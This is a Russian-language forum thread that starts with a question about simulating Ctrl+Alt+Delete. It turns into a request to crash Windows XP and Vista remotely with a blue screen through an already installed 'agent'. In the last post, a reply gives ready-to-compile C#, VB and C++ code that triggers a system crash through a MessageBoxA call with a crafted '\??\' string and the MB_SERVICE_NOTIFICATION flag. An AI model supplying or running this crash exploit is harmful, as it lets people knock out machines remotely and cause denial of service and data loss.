Генерация событий клавиатуры

  • Автор темы 2bO~2b
  • Дата начала
Статус
Закрыто для дальнейших ответов.
2

2bO~2b

#1
Господа и дамы, не будете ли вы так любезны ответить на следующий вопрос:
Мне нужно сгенерировать event alt+ctrl+delete. Я пробовала SendInput из user32 dll. Не пашет потому что то что я хочу это low-level, вот например ctrl+a пашет, а alt+ctrl+delete нет. Что посоветуете пользовать?

Спасиба.
 
M
#2
Sorry. You CANNOT send the CTRL-ALT-DELETE sequence using Sendkeys.
Ctrl-Alt-Del causes a hardware interrupt to occur, via direct wiring from
the keyboard. It is a hardware interrupt generated by the keyboard. It's
not the CTRL-ALT-DEL keystroke that is the problem, but that the keyboard
makes a special type of hardware interrupt request to the cpu that SendKey
cannot duplicate.
Опишите, что именно хотелось бы получить, а эмулировать нажатия клавиш, мышки и т.п. - это называется через опу :)
 
2

2bO~2b

#3
Ж.. это уневерсальный интерфэйс, через него можно сделать всё:D

Спасиба за ответ, действительно, через SendInput низзя...
Я хочу коллапснуть винды, есть такая опция: добавить в регистр key, а потом нажатие RControl+Scroll+Scroll заделает BSOD. Я делаю это ремотна, агент у меня уже есть, поэтому bat, любой ехе подойдет. Надо на Висту и ХP. Есть идеи?
 
P

Pasha

#4
<не работает под xp>
запусти скринсейвер sysinternals. и отключи клавиатуру с мышкой.
 
2

2bO~2b

#5
;)
Но мне не для юзеров нужно а для себя, для тестинга, поэтому мне не симуляция нужна а самый настоящий BSOD. Но ход ваших мыслей мне нравится:D
 
P

Pasha

#6
Ход мыслей, говоришь? Синий экран? Из .net? Да как два пальца! :D
Смотри в аттаче.
 

Вложения

P

Pasha

#8
На C# (компилировать с unsafe):
Код:
class MboxTest
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i++)
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
На VB:
Код:
Public Class Class1
Declare Ansi Function MessageBoxA Lib "user32.dll" _
(hwnd As UInteger, _
lpText As Byte(), _
lpCaption As Byte(), _
uType As UInteger) _
As Integer

Public Shared Sub Main()
Dim helloBug As Byte() _
= New Byte() _
{&H5C, &H3F, &H3F, &H5C, &H21, &H21, &H21, &H00}
Dim MB_SERVICE_NOTIFICATION As UInteger _
= &H00200000UI

For i AS Integer = 0 To 9
MessageBoxA(0, helloBug, helloBug, _
MB_SERVICE_NOTIFICATION)
Next
End Sub
End Class
На обычных плюсах:
Код:
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
Сперто с http://blogs.gotdotnet.ru/personal/sergun/...04-4A295E58C232
 
Статус
Закрыто для дальнейших ответов.